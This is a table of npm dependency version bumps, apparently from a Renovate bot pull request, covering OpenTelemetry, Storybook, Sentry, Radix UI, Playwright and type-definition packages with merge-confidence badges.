| [@marsidev/react-turnstile](https://redirect.github.com/marsidev/react-turnstile) | [`1.0.2` -> `1.1.0`](https://renovatebot.com/diffs/npm/@marsidev%2freact-turnstile/1.0.2/1.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@marsidev%2freact-turnstile/1.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@marsidev%2freact-turnstile/1.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@marsidev%2freact-turnstile/1.0.2/1.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@marsidev%2freact-turnstile/1.0.2/1.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/core](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-core) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fcore/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fcore/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fcore/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fcore/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fcore/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.54.0` -> `^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.54.2/0.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-zipkin](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-exporter-zipkin) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-zipkin/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-zipkin/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-zipkin/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-zipkin/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-zipkin/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.54.0` -> `^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.54.2/0.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-graphql](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-graphql#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.44.0` -> `^0.45.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.44.0/0.45.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-graphql/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-graphql/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-graphql/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-graphql/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.54.0` -> `^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.54.2/0.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-ioredis](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-ioredis#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.44.0` -> `^0.45.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.44.0/0.45.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-ioredis/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-ioredis/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-ioredis/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-ioredis/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-nestjs-core](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-nestjs-core#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.41.0` -> `^0.42.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.41.0/0.42.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-nestjs-core/0.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-nestjs-core/0.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-nestjs-core/0.41.0/0.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-nestjs-core/0.41.0/0.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-socket.io](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/instrumentation-socket.io#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.43.0` -> `^0.44.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.43.0/0.44.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-socket.io/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-socket.io/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-socket.io/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-socket.io/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/resources](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-resources) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fresources/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fresources/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fresources/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fresources/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fresources/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/sdk-metrics) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-metrics/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-metrics/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-metrics/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-metrics/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-metrics/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.54.0` -> `^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.54.2/0.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-trace-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-sdk-trace-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-trace-node/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-trace-node/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-trace-node/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-trace-node/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-trace-node/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/semantic-conventions](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/semantic-conventions) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsemantic-conventions/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsemantic-conventions/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsemantic-conventions/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsemantic-conventions/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsemantic-conventions/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@playwright/test](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.48.2` -> `=1.49.0`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.48.2/1.49.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@playwright%2ftest/1.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@playwright%2ftest/1.48.2/1.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.48.2/1.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@radix-ui/react-scroll-area](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.0` -> `1.2.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-scroll-area/1.2.0/1.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-scroll-area/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-scroll-area/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-scroll-area/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-scroll-area/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-tooltip](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tooltip/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tooltip/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tooltip/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tooltip/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tooltip/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.37.1` -> `8.40.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.37.1/8.40.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.37.1/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.37.1/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.37.1` -> `8.40.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.37.1/8.40.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.37.1/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.37.1/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.4.2` -> `8.4.5`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.4.2/8.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.4.2/8.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.9.2` -> `1.9.3`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.9.2/1.9.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.9.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.9.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.9.2/1.9.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.9.2/1.9.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/cookie-parser](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/cookie-parser) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/cookie-parser)) | [`1.4.7` -> `1.4.8`](https://renovatebot.com/diffs/npm/@types%2fcookie-parser/1.4.7/1.4.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fcookie-parser/1.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fcookie-parser/1.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fcookie-parser/1.4.7/1.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fcookie-parser/1.4.7/1.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.6` -> `20.17.8`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.6/20.17.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.6/20.17.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.6/20.17.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/nodemailer](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/nodemailer) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/nodemailer)) | [`6.4.16` -> `6.4.17`](https://renovatebot.com/diffs/npm/@types%2fnodemailer/6.4.16/6.4.17) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnodemailer/6.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnodemailer/6.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnodemailer/6.4.16/6.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnodemailer/6.4.16/6.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
